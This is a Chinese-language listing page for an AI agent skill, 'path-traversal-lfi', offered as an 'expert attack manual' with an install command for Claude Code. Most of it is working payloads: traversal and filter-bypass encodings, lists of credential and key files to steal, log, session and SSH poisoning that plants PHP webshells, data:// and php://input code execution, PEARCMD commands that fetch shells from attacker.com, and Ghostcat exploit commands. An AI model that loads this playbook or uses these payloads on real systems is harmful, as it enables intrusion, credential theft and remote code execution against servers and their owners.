mcpField
P
path-traversal-lfi

path-traversal-lfi

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 path-traversal-lfi

用于调查路径遍历和本地文件包含漏洞的安全技能,涵盖编码与过滤绕过、平台相关路径、PHP 包装器及漏洞升级手法。

主要功能

  1. 01遍历编码变体
  2. 02过滤器绕过检查
  3. 03Linux 和 Windows 文件目标
  4. 04PHP 包装器技术
  5. 05LFI 漏洞升级路径

适用场景

  1. 01测试文件和模板参数
  2. 02评估 PHP 包含端点
  3. 03追踪文件读取问题是否可升级为代码执行

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill path-traversal-lfi

安装后在 Claude Code 中输入/path-traversal-lfi确认已加载。

详细介绍

技能:路径遍历 / 本地文件包含(LFI)——专家攻击手册

AI 加载指令:专家级路径遍历和 LFI 技术。涵盖编码绕过序列、操作系统差异、过滤器绕过、PHP 包装器利用、通过日志投毒实现 RCE,以及路径遍历(只读)与 LFI(执行)之间的关键区别。基础模型会遗漏编码链和 RCE 提权路径。

0. 相关路由

深入利用之前,可以先加载:

  • 不安全文件上传:当主要攻击面是上传工作流,而非包含或读取原语时
  • ghost-bits-cast-attack:当目标是 Java 后端(Spring、Jetty、Undertow、Vert.x),且标准 ../、%2e%2e、%252e 链被 WAF 拦截时——Ghost Bits 使用 阮(U+962E)替代 .,使用 阯(U+962F)替代 /,通过 Spring CVE-2025-41242 和 Jetty %2> 十六进制折叠重新启用路径遍历
首轮路径遍历链
../etc/passwd
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..\\..\\..\\windows\\win.ini

1. 核心概念

路径遍历:通过 ../ 序列逃逸出预期目录,读取任意文件。 LFI:在 PHP 中,当用户输入控制 include()/require() 时,文件会作为 PHP 代码执行,而非仅被读取。

http://target.com/index.php?page=home
→ Opens: /var/www/html/pages/home.php

Traversal attack:
http://target.com/index.php?page=../../../../etc/passwd
→ Opens: /etc/passwd

2. 路径遍历序列变体

过滤策略决定应使用哪种编码:

基本形式
../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts  (Windows)
URL 编码
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd     ← %2f = '/'
%2e%2e%5c%2e%2e%5c%2e%2e%5c                  ← %5c = '\'
双重 URL 编码(服务器解码一次,而过滤器在解码前检查时)
%252e%252e%252f%252e%252e%252f  ← %25 = %, double-encoded %2e
..%252f..%252fetc%252fpasswd
Unicode / 超长 UTF-8
..%c0%af..%c0%af     ← overlong UTF-8 encoding of '/'
..%c1%9c..%c1%9c     ← overlong UTF-8 encoding of '\'
..%ef%bc%8f          ← fullwidth solidus '/'
混合编码
..%2F..%2Fetc%2Fpasswd
....//....//etc/passwd   ← double-dot with slash (filter strips single ../)
过滤器会移除 ../(因此 ../ 在移除后会变成 ../)
....//          ← becomes ../ after filter strips ../
..././          ← becomes ../ after filter strips ./
空字节注入(旧版 PHP < 5.3.4)
../../../../etc/passwd%00.jpg   ← %00 truncates string, strips .jpg extension
../../../../etc/passwd%00.php

3. 目标文件和提权目标

Linux
/etc/passwd                  ← user list (usernames, UIDs)
/etc/shadow                  ← password hashes (requires root-level file read)
/etc/hosts                   ← internal hostnames → pivot targets
/etc/hostname                ← server hostname
/proc/self/environ           ← process environment (DB creds, API keys!)
/proc/self/cmdline           ← process command line
/proc/self/fd/0              ← stdin file descriptor
/proc/[pid]/maps             ← memory maps (loaded libraries with paths)
/var/log/apache2/access.log  ← for log poisoning
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log            ← SSH attempt log
/var/mail/www-data            ← email for www-data user
/home/USER/.ssh/id_rsa       ← SSH private key
/home/USER/.ssh/authorized_keys
/home/USER/.bash_history     ← command history (credentials!)
/home/USER/.aws/credentials  ← AWS keys
/tmp/sess_SESSIONID          ← PHP session files (if session.save_path=/tmp)
Web 应用配置文件
/var/www/html/.env           ← Laravel/Node.js env vars
/var/www/html/config.php     ← PHP config
/var/www/html/wp-config.php  ← WordPress DB credentials
/etc/apache2/sites-enabled/  ← Apache vhosts
/etc/nginx/sites-enabled/    ← Nginx config
/usr/local/etc/nginx/nginx.conf
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM          ← NTLM hashes (often locked)
C:\inetpub\wwwroot\web.config           ← ASP.NET DB connection strings
C:\inetpub\wwwroot\global.asa
C:\xampp\htdocs\wp-config.php
C:\Users\Administrator\.ssh\id_rsa
C:\ProgramData\MySQL\MySQL Server 8\my.ini  ← MySQL config

4. PHP LFI → RCE 技术

日志投毒(日志可访问时最可靠)

步骤 1:通过 User-Agent 将 PHP 代码注入 Apache/Nginx 访问日志:

GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

步骤 2:通过 LFI 包含日志文件:

?page=../../../../var/log/apache2/access.log&cmd=id
SSH 日志投毒

将 PHP 负载作为 SSH 用户名注入:

ssh '<?php system($_GET["cmd"]); ?>'@target.com

然后包含 /var/log/auth.log。

PHP 会话文件投毒

步骤 1:在会话存储的参数(例如用户名)中发送 PHP 代码,触发代码写入会话文件 步骤 2:包含会话文件:

?page=../../../../tmp/sess_SESSIONID&cmd=id

从 Cookie PHPSESSID 中查找会话 ID。

用于 RCE 的 PHP 包装器

php://expect 包装器(需要 expect PHP 扩展):

?page=expect://id

php://input 包装器(将 LFI 与 POST 正文结合):

POST ?page=php://input
Body: <?php system('id'); ?>

data:// 包装器(直接以 base64 注入 PHP):

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id

(PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = <?php system($_GET['cmd']); ?>)


5. PHP 过滤器包装器(读取文件内容)

使用 php://filter 对文件内容进行 base64 编码,以避免空字节和二进制数据问题:

?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php

解码返回的 base64,即可查看文件内容(包括 PHP 源代码)。

串联过滤器(通过多个转换绕过输入过滤器):

?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd

6. 远程文件包含(RFI)——启用时

如果 PHP 的 allow_url_include = On(虽然少见,但确实存在):

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.php

在服务器上托管包含 <?php system($_GET['cmd']); ?> 的 shell.txt。


7. 特定服务器的路径截断

PHP 有历史遗留的路径长度限制。通过填充 . 或 /./ 截断追加的扩展名:

?page=../../../../etc/passwd/./././././././././././............ (255+ chars)

当服务器追加 .php 时,截断会将其移除。

或者在 PHP < 5.3.4 时使用空字节:

?page=../../../../etc/passwd%00

8. 要测试的参数位置

?file=        ?page=        ?include=    ?path=
?doc=         ?view=        ?load=       ?read=
?template=    ?lang=        ?url=        ?src=
?content=     ?site=        ?layout=     ?module=

还要测试:HTTP 标头、Cookie、表单 action 值、导入/上传功能。


9. 过滤器绕过检查清单

当 ../ 被移除或拦截时:

□ Try URL encoding: %2e%2e%2f
□ Try double URL encoding: %252e%252e%252f
□ Try overlong UTF-8: ..%c0%af / ..%ef%bc%8f
□ Try mixed: ..%2F or ..%5C (backslash on Linux)
□ Try redundant sequences: ....// or ..././ (strip once → still ../)
□ Try null byte: /../../../etc/passwd%00
□ Try absolute path: /etc/passwd (if no path prefix added)
□ Try Windows UNC (Windows server): \\127.0.0.1\C$\Windows\win.ini

10. 影响提升级联路径

Path traversal (read arbitrary files)
├── Read /etc/passwd → enumerate users
├── Read /proc/self/environ → find API keys, DB passwords in env
├── Read app config files → find credentials → horizontal movement
├── Read SSH private keys → direct server login
└── Find log paths → Log Poisoning → LFI RCE

LFI (PHP code inclusion)
├── Log poisoning → webshell
├── Session file poisoning → webshell  
├── php://input → direct code execution
├── data:// → direct code execution
└── php://filter → read PHP source code → find more vulnerabilities

11. LFI 到 RCE 的提权路径

方法要求Payload
日志投毒(Apache)LFI + Apache access.log 可读在 User-Agent 中注入 <?php system($_GET['c']);?> → 包含 /var/log/apache2/access.log
日志投毒(SSH)LFI + SSH auth.log 可读使用 <?php system('id');?>@target 作为 SSH 用户登录 → 包含 /var/log/auth.log
日志投毒(邮件)LFI + 邮件日志可读在邮件主题中发送包含 PHP 的邮件 → 包含 /var/log/mail.log
暴力枚举 /proc/self/fdLFI + Linux暴力枚举 /proc/self/fd/0 至 /proc/self/fd/255,查找包含注入内容的打开文件句柄
/proc/self/environLFI + CGI/FastCGI在 User-Agent 标头中注入 PHP → 包含 /proc/self/environ
iconv CVE-2024-2961glibc < 2.39,使用 php://filter 的 PHP使用 php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource= 链触发堆溢出 → RCE。工具:cnext-exploits
phpinfo() 辅助LFI + phpinfo 页面可访问竞争条件:通过 multipart 向 phpinfo 上传临时文件 → 从响应中读取临时文件路径 → 在清理前包含该文件
PHP 会话LFI + 会话文件可写通过可控的会话变量向会话中注入 PHP → 包含 /tmp/sess_SESSIONID 或 /var/lib/php/sessions/sess_SESSIONID
上传竞争LFI + 上传端点上传 PHP 文件 → 在服务器端验证或删除前包含该文件

12. PHP 包装器利用矩阵

php://filter(功能最强,应始终优先尝试)
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/zlib.deflate/resource=index.php

过滤器链 RCE(synacktiv php_filter_chain_generator):

  • 链接多个 convert.iconv 过滤器,无需上传文件即可写入任意字节
  • 工具:synacktiv/php_filter_chain_generator → 生成用于写入 PHP 代码的链
  • python3 php_filter_chain_generator.py --chain '<?php system("id");?>'

convert.iconv + dechunk oracle(盲读文件):

  • 工具:synacktiv/php_filter_chains_oracle_exploit(filters_chain_oracle_exploit)
  • 可逐字符盲读 LFI 文件内容
php://input
POST vulnerable.php?page=php://input
Body: <?php system('id'); ?>

需要 allow_url_include=On

data://
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
data:text/plain,<?php system('id');?>    ← note: no double slash variant also works
phar://
phar://uploaded.phar/test.php

触发对 phar 元数据的反序列化 → 通过 POP 链实现 RCE(需要上传精心构造的 phar 文件,也可以伪装成 JPEG)

zip://
zip://uploaded.zip%23shell.php
expect://
expect://id

需要 expect 扩展(较少见)


13. PEARCMD LFI 利用

当可通过 LFI 访问 pearcmd.php 时(在 Docker PHP 镜像中很常见):

方法Payload
config-create/?file=pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php
man_dir/?file=pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?=phpinfo()?>+-s+
download/?file=pearcmd.php&+download+http://attacker.com/shell.php
install/?file=pearcmd.php&+install+http://attacker.com/shell.tgz

14. Windows 专用 LFI 技术

FindFirstFile 通配符(仅限 Windows):

  • < 匹配任意单个字符,> 匹配任意序列(类似 ? 和 *,但用于文件 API)
  • php<< 可以匹配 php5、phtml 等
  • ..\..\windows\win.ini → 使用 << 进行模糊匹配:..\..\windows\win<<

15. 参数命名模式(高频目标)

根据漏洞研究统计分析:

参数名频率上下文
filename、file、path很高直接文件操作
page、include、template高模板/页面包含
url、src、href高资源加载
download、read、load中文件下载/读取
dir、folder、root中目录操作
hdfile、inputFile、XFileName低特定 CMS/中间件
FileUrl、filePath、docPath低特定企业应用

高频易受攻击的端点:

down.php、download.jsp、download.asp、readfile.php、file_download.php、getfile.php、view.php


16. LFI 到 RCE——提权路径

1. 暴力枚举 /proc/self/fd
# When file upload exists but path is unknown:
# Uploaded files get temporary fd in /proc/self/fd/
# Brute-force fd numbers:
/proc/self/fd/0 through /proc/self/fd/255
# Include the temp file before it's cleaned up
2. /proc/self/environ 投毒
# If User-Agent is reflected in process environment:
GET /vuln.php?page=/proc/self/environ
User-Agent: <?php system($_GET['c']); ?>
3. 日志投毒
# Apache access log:
GET /<?php system($_GET['c']); ?> HTTP/1.1
# Then include: /var/log/apache2/access.log

# SSH auth log (username field):
ssh '<?php system($_GET["c"]); ?>'@target
# Then include: /var/log/auth.log

# Mail log (SMTP subject):
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: <?php system($_GET['c']); ?>
.
# Then include: /var/log/mail.log
4. PHP 会话文件投毒
# Set session variable to PHP code:
GET /page.php?lang=<?php system($_GET['c']); ?>
# Session file: /tmp/sess_PHPSESSID or /var/lib/php/sessions/sess_PHPSESSID
# Include the session file
5. phpinfo() 辅助的 LFI
# Race condition: upload via phpinfo() temp file
# 1. POST multipart file to phpinfo() page → reveals tmp_name (/tmp/phpXXXXXX)
# 2. Include the temp file before PHP cleans it up
# Requires many concurrent requests (race window ~10ms)
6. iconv CVE-2024-2961
# glibc iconv buffer overflow in PHP filter chains
# Tool: cfreal/cnext-exploits
# Converts LFI to RCE without needing writable paths or log poisoning

17. PHP 包装器利用矩阵

php://filter(读取文件但不执行)
# Base64 encode source code:
php://filter/convert.base64-encode/resource=index.php

# ROT13:
php://filter/read=string.rot13/resource=index.php

# Chain multiple filters:
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php

# Zlib compression:
php://filter/zlib.deflate/resource=index.php

# NEW: Filter chain RCE (synacktiv php_filter_chain_generator)
# Generates chains that write arbitrary content via iconv conversions
# Tool: synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Produces: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp
convert.iconv + dechunk Oracle(盲读文件)
# Error-based oracle: determine if first byte of file matches a character
# Tool: synacktiv/php_filter_chains_oracle_exploit
# Reads files byte-by-byte through error/behavior differences
data:// 包装器
# Execute arbitrary PHP:
data://text/plain,<?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# Bypass when data:// is filtered but data: (without //) works:
data:text/plain,<?php system('id'); ?>
expect:// 包装器
expect://id
expect://ls
# Requires expect extension (rare but check)
php://input
POST /vuln.php?page=php://input
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>
zip:// 和 phar:// 包装器
# zip://: Upload ZIP containing PHP file
zip:///tmp/upload.zip#shell.php

# phar://: Triggers deserialization of phar metadata!
phar:///tmp/upload.phar/anything
# Create malicious phar with crafted metadata object
# Can chain to RCE via POP gadget chains (like PHP deserialization)
# Phar can be disguised as JPG (polyglot phar-jpg)
wrapwrap(前缀/后缀注入)
# Tool: ambionics/wrapwrap
# Adds arbitrary prefix and suffix to file content via filter chains
# Useful for converting file read into XXE, SSRF, or deserialization trigger

18. PEARCMD 从 LFI 到 RCE

安装了 PEAR 且 register_argc_argv=On 时(常见于 Docker PHP 镜像):

# Method 1: config-create (write arbitrary content to file)
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

# Method 2: man_dir (change docs directory to write path)
GET /index.php?+-c+/tmp/shell.php+-d+man_dir=<?=system($_GET[0])?>+-s+/usr/local/lib/php/pearcmd.php

# Method 3: download (fetch remote file)
GET /index.php?+download+http://attacker.com/shell.php&file=/usr/local/lib/php/pearcmd.php

# Method 4: install (install remote package)
GET /index.php?+install+http://attacker.com/evil.tgz&file=/usr/local/lib/php/pearcmd.php
Windows FindFirstFile 通配符
# Windows << and > wildcards in file paths:
# << matches any extension, > matches single char
include("php<<");      # Matches any .php* file
include("shel>");      # Matches shell.php if only 1 char follows
# Useful when exact filename is unknown

19. 参数命名模式与高频端点

常见易受攻击的参数名称
filename    filepath    path        file        url
template    page        include     dir         document
folder      root        pg          lang        doc
conf        data        content     name        src
inputFile   hdfile      XFileName   FileUrl     readfile
高频易受攻击的端点
端点模式频率
down.php / download.php非常高
download.jsp / download.do非常高
download.asp / download.aspx高
readfile.php / file.php高
export / report 端点中
template / preview 端点中
绕过技术分布(来自实地研究)
技术普遍程度
直接访问绝对路径最常见
读取 WEB-INF/web.xml(Java)常见
Base64 编码的路径参数中等
双重 URL 编码中等
UTF-8 过长编码(%c0%ae)少见但有效
空字节截断(%00)旧版(PHP < 5.3.4)

20. JAVA / SPRING 路径遍历

Spring 资源加载
// Vulnerable patterns — user input flows into resource path
ClassPathResource r = new ClassPathResource(userInput);
getClass().getResourceAsStream("/templates/" + userInput);
servletContext.getResourceAsStream("/WEB-INF/" + userInput);
# Read WEB-INF deployment descriptor
GET /download?file=../WEB-INF/web.xml
GET /download?file=../WEB-INF/classes/application.properties
GET /download?file=../WEB-INF/classes/META-INF/persistence.xml

# Spring Boot specific
GET /download?file=../WEB-INF/classes/application.yml
GET /download?file=../WEB-INF/classes/bootstrap.properties
高价值 Java 目标
/WEB-INF/web.xml                        ← servlet mappings, filter chains, security constraints
/WEB-INF/classes/application.properties  ← DB creds, API keys, Spring config
/WEB-INF/classes/application.yml         ← same, YAML format
/WEB-INF/lib/                            ← application JARs (download for decompilation)
/META-INF/MANIFEST.MF                    ← build metadata, main class
/META-INF/context.xml                    ← Tomcat datasource definitions
Spring MVC ResourceHttpRequestHandler

通过 spring.resources.static-locations 提供静态资源时:

GET /static/..%252f..%252fWEB-INF/web.xml
GET /static/..;/..;/WEB-INF/web.xml       ← Tomcat path parameter normalization

21. TOMCAT 特定技巧

路径参数规范化(/..;/)

Tomcat 将 ; 视为路径参数分隔符,并在路径解析之前移除从 ; 到下一个 / 之间的所有内容,但上游代理或 WAF 可能不会这样处理:

GET /app/..;/manager/html           ← Tomcat resolves to /manager/html
GET /app/..;jsessionid=x/..;/WEB-INF/web.xml

WAF 绕过链:反向代理将 /app/..;/manager/html 视为 /app/ 下的路径(允许访问),但 Tomcat 会将 ..; 规范化为 .. 并向上遍历。

AJP Ghostcat(CVE-2020-1938)

暴露在网络上的 Apache JServ Protocol(AJP,端口 8009)允许任意读取文件和执行 JSP:

# Read any file through AJP
python3 ajpShooter.py http://target:8009 /WEB-INF/web.xml read

# Include attacker-controlled file as JSP for execution
python3 ajpShooter.py http://target:8009 / eval --ajp-secret="" \
  -H "javax.servlet.include.request_uri:/anything" \
  -H "javax.servlet.include.servlet_path:/uploads/avatar.txt"

条件:可访问端口 8009 上的 AJP 连接器(Tomcat 默认配置,在 Docker/内部网络中通常未被防火墙阻挡)。Tomcat 9.0.31 之前未设置 secretRequired。

Tomcat 双重 URL 解码
GET /%252e%252e/%252e%252e/etc/passwd

22. NGINX ALIAS 配置错误

尾部斜杠陷阱
# VULNERABLE — missing trailing slash on location
location /assets {
    alias /data/;
}

Nginx 会将 /assets../etc/passwd 映射为 /data/../etc/passwd,进而指向 /etc/passwd,因为 alias 会将精确的 location 前缀(/assets)替换为 alias 路径(/data/),而剩余部分中的 ../ 会向上遍历。

GET /assets../etc/passwd HTTP/1.1
GET /assets..%2f..%2fetc%2fpasswd HTTP/1.1

正确配置:

location /assets/ {
    alias /data/;
}
location + alias 中的差一错误
location /img {
    alias /var/images;
}
# /img../secret -> /var/images/../secret -> /var/secret

规则:使用 alias 时,location 前缀和 alias 路径必须都以 / 结尾,或者都不以 / 结尾。


23. NODE.JS PATH 模块的特性

path.join() 处理 URL 编码输入
const path = require('path');

app.get('/files/:name', (req, res) => {
    const filePath = path.join(__dirname, 'uploads', req.params.name);
    res.sendFile(filePath);
});

Express 会在调用 path.join 之前对 req.params 进行 URL 解码:

GET /files/..%2f..%2f..%2fetc%2fpasswd
req.params.name = "../../../etc/passwd" (already decoded)
path.join(__dirname, 'uploads', '../../../etc/passwd') = /etc/passwd
express.static() 的特性
  • 对路径调用 decodeURIComponent,然后调用 path.normalize()
  • 如果中间件先解码一次、express.static 又解码一次,双重编码(%252e%252e%252f)可绕过限制
  • 现代 Node.js(v14+)会拒绝空字节(%00),但旧版可能会截断
url.parse() 与 new URL() 的混淆
// Legacy: url.parse() does NOT resolve path traversal
const parsed = require('url').parse(userInput);
// parsed.pathname may contain ../

// Modern: new URL() normalizes the path
const parsed = new URL(userInput, 'http://localhost');
// parsed.pathname has ../ resolved

混用 url.parse() 和 path.join() 的应用可能允许路径遍历,而 new URL() 会对路径进行规范化。


24. IIS 短文件名枚举(~1 技巧)

概念

Windows NTFS 会生成 8.3 短文件名(例如,LONGFI~1.TXT)。对于有效和无效的短文件名前缀,IIS 会返回不同的响应。

检测方法
GET /W~1.ASP HTTP/1.1  -> 404 (name pattern valid)
GET /Z~1.ASP HTTP/1.1  -> 400 (bad request)

通过不同的响应可以泄露是否存在以该前缀开头的文件。

枚举过程
Step 1: /A~1* -> 404 = file starting with A exists
Step 2: /AB~1* -> 404 = file starting with AB exists
Step 3: /ABCDEF~1.A* -> 404 = extension starts with A
工具
java -jar iis_shortname_scanner.jar https://target.com/
影响
  • 发现隐藏的备份、配置文件和源代码
  • 暴力破解空间更小:8.3 格式限制了字符集
  • 即使禁用了目录列表功能也能使用

评论

支持 Markdown